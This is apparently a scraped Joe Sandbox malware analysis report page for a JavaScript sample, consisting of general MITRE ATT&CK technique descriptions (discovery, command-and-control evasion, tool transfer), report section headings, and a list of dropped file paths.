Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1926422634111517010.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f56b2902-4b06-4b5b-856b-8f6472455c8c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8108

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1926422634111517010.js